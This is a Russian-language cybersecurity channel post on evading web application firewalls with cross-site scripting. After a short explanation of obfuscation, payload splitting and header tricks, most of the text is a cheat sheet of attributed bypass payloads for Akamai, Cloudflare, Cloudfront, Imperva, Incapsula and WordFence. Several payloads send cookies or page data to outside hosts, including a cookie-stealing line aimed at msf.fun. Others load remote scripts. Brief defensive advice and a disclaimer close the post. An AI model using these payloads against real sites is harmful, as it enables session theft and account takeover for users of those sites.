Обход WAF с помощью XSS-пейлоадов

Обход WAF с помощью XSS-пейлоадов

the Matrix • Cyber News

В этом руководстве мы опишем некоторые из техник, которые обычно используются хакерами для обхода фаерволлов веб-приложений (WAF) во время XSS-эксплуатации.

Содержание
  • Введение
  • Понимание XSS и WAF
  • Распространенные методы обхода WAF
  • Обфускация
  • Использование альтернативных обработчиков событий
  • Разделение полезной нагрузки
  • Манипулирование заголовками
  • XSS Akamai
  • Cloudflare XSS
  • Cloudfront XSS
  • Imperva XSS
  • Лучшие практики для защиты
  • Заключение
  • Введение

    Web Application Firewall (WAF) являются важнейшими компонентами безопасности, предназначенными для защиты веб-приложений от различных типов атак, включая межсайтовый скриптинг (XSS).

    Однако изощренные злоумышленники часто находят способы обойти WAF, особенно когда речь идет о внедрении вредоносных XSS-файлов.

    В этой статье мы рассмотрим некоторые техники, используемые для обхода WAF и успешного выполнения XSS.

    Понимание XSS и WAF

    Межсайтовый скриптинг (XSS) – это тип инъекционной атаки, при которой злоумышленник внедряет вредоносные скрипты в контент, который затем предоставляется пользователям. Эти скрипты могут похищать пользовательские данные, перехватывать сеансы или выполнять несанкционированные действия от имени пользователя.

    🐛 Бесплатные инструменты XSS

    WAF предназначены для фильтрации и мониторинга HTTP-запросов, блокируя любые вредоносные попытки на основе заранее заданных правил или алгоритмов обучения.

    Однако WAF не являются надежными, и злоумышленники постоянно разрабатывают новые методы их обхода.

    Распространенные методы обхода WAF

    Обфускация

    Злоумышленники часто обфусцируют полезную нагрузку XSS, чтобы обойти обнаружение WAF.

    Такие приемы, как кодирование полезной нагрузки в различных форматах (например, HTML-сущности, Base64) или разбиение скриптов на комментарии или лишние символы, могут обмануть WAF и заставить его пропустить полезную нагрузку.

    <img src=x onerror="/*<![CDATA[*/alert(1)/*]]>*/">

    Использование альтернативных обработчиков событий

    WAF могут специально фильтровать такие распространенные обработчики событий, как onload или onerror.

    Злоумышленники могут использовать менее распространенные обработчики событий, которые могут не входить в набор правил WAF.

    < style="width:expression(alert(1))"></>

    Полезные нагрузки Polyglot :

    Polyglot XSS – это полезная нагрузка, которая может быть интерпретирована в нескольких контекстах, что повышает ее шансы обойти WAF.

    Такие полезные нагрузки предназначены для выполнения независимо от того, обрабатываются ли они как HTML, JavaScript или другой язык.

    <script>/*</script><svg onload=alert(1)>*/

    Разделение полезной нагрузки

    Разделение полезной нагрузки на несколько частей иногда позволяет избежать обнаружения, поскольку WAF могут неправильно собрать скрипт целиком.

    <img src='1' onerror='ja'+'vascript:alert(1)'>

    Манипулирование заголовками

    Некоторые WAF проверяют определенные HTTP-заголовки на наличие вредоносного содержимого.

    Манипулируя заголовками или внедряя их нестандартным образом, злоумышленник может обойти процесс проверки WAF.

    GET / HTTP/1.1 Host: victim.com Content-Length: 0 X-Forwarded-For: '><script>alert(1)</script>

    А теперь давайте посмотрим на некоторые пейлоады для обхода waf

    XSS Akamai

    <style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}&#x60;> <marquee+loop=1+width=0+onfinish='new+Function`al\ert`1``'> <svg><circle><set onbegin=prompt(1) attributename=fill> <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> "%3balert`1`%3b" asd"`> onpointerenter=x=prompt,x`XSS` <x onauxclick=import('//1152848220/')>click <x onauxclick=a=alert,a(domain)>click -@niksthehacker <x onauxclick=import('//1152848220/')>click <x onauxclick=import('//xss/')>click \"<>onauxclick<>=(eval)(atob(`YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==`))>+<sss {{constructor.constructor(alert`1`)()}} javascript:new%20Function`al\ert`1``; https://twitter.com/xhzeem/status/1378316651431612422 https://twitter.com/xhzeem/status/1377992310974218245 <script>Object.prototype.BOOMR = 1;Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script> -https://portswigger.net/web-security/cross-site-scripting/cheat-sheet "><a/\test="%26quot;x%26quot;"href='%01javascript:/*%b1*/;location.assign("//hackerone.com/stealthy?x="+location)'>Click -@stealthybugs

    Cloudflare XSS

    <a"/onclick=(confirm)()>Click Here! Dec: <svg onload=prompt%26%230000000040document.domain)> Hex: <svg onload=prompt%26%23x000000028;document.domain)> xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'> <a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a> <--%253cimg%20onerror=alert(1)%20src=a%253e --!> <a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'> javascript:{ alert`0` } 1'"><img/src/onerror=.1|alert``> <img src=x onError=import('//1152848220/')> %2sscript%2ualert()%2s/script%2u <svg on onload=(alert)(document.domain)> <img ignored=() src=x onerror=prompt(1)> <svg onx=() onload=(confirm)(1)> “><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041; <svg on =i onload=alert(domain) (working) <svg/onload=location/**/='https://your.server/'+document.domain> <svg onx=() onload=window.alert?.()> (working) test",prompt%0A/*HelloWorld*/(document.domain) (working)- @Brutelogic "onx+%00+onpointerenter%3dalert(domain)+x" (working)- @Brutelogic "><svg%20onload=alert%26%230000000040"1")> (working)- @IamRenganathan %27%09);%0d%0a%09%09[1].find(alert)// "><img src=1 onmouseleave=print()> - @itsgeekymonk <svg on onload=(alert)(document.domain)> -@zapstiko <svg/on%20onload=alert(1)> (working) -@aufzayed <img/src=x onError="`${x}`;alert(`Ex.Mi`);"> -@ex_mi

    Cloudfront XSS

    ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'> ">'><details/open/ontoggle=confirm('XSS')> 6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/ &quot;&gt;&lt;img src=x onerror=confirm(1);&gt;

    Imperva XSS

    <x/onclick=globalThis&lsqb;'\u0070r\u006f'+'mpt']&lt;)>clickme (working)-Pinaki @0xInfection(Make sure to URL encode the payload properly) tarun"><x/onafterscriptexecute=confirm%26lpar;)// -@sratarun <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click (workin)Pinaki @0xInfection (Make sure the applications decodes the payload from encoded) <details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"> - @xsspayloads <svg onload\r\n=$.globalEval("al"+"ert()");> <bleh/onclick=top[/al/.source+/ert/.source]&Tab;``>click Pinaki @0xInfection <sVg OnPointerEnter="location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//</"> -@AldenAous <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='test'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />tap

    Incapsula XSS

    <iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';> <iframe/onload="var b = 'document.domain)'; var a = 'JaV' + 'ascRipt:al' + 'ert(' + b; this['src']=a"> <audio autoplay onloadstart=this.src='hxxps://msf.fun/?c='+document["cook"+"ie"]' src=x> <img/src=q onerror='new Function`al\ert`1``'> <object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object> <svg onload\r\n=$.globalEval("al"+"ert()");> [1].map(alert) or (alert)(1) <"><details/open/ontoggle="jAvAsCrIpT&colon;alert&lpar;/xss-by-tarun/&rpar;">XXXXX</a> [1].find(confirm) <svg/onload=self[`aler`%2b`t`]`1`> %22%3E%3Cobject%20data=data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%3E%3C/object%3E '-[document.domain].map(alert)-'

    WordFence XSS

    ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -@naglinagli <meter onmouseover="alert(1)" -@manjith27945363 '">><><meter onmouseover="alert(1)"</>" -@manjith27945363 >><marquee loop=1 width=0 onfinish=alert(1)> -@manjith27945363 Wordfence 7.4.2 <a href=&#01javascript:alert(1)> -@brutelogic <a/href=%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x0a;:alert(1)>please%20click%20here</a>

    Лучшие практики для защиты

    Хотя понимание того, как злоумышленники обходят WAF, очень важно, ИБ должны постоянно обновлять правила WAF, использовать несколько уровней защиты и регулярно проводить оценку безопасности.

    • Регулярные обновления: Поддерживайте сигнатуры и правила WAF в актуальном состоянии для защиты от новых и возникающих угроз.
    • Глубокая защита: Используйте комбинацию механизмов безопасности (например, проверку ввода, политику безопасности содержимого) наряду с WAF для более эффективной защиты.
    • Тестирование безопасности: Регулярно проводите тестирование на проникновение и оценку безопасности, чтобы выявить и устранить все уязвимости, которые могут быть использованы.

    Заключение

    Обход WAF с помощью XSS нагрузки требует творческого подхода и глубокого понимания как ограничений WAF, так и самого веб-приложения.

    Хотя WAF обеспечивают надежную линию защиты, на них не следует полагаться полностью.

    Многоуровневый подход к безопасности в сочетании с постоянным мониторингом и тестированием необходим для защиты от этих сложных атак.

    ¯\_(ツ)_/¯

    Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.


    Источник

    Наши проекты:

    - Кибер новости: the Matrix • Cyber News
    - Хакинг: /me Hacker

    Report Page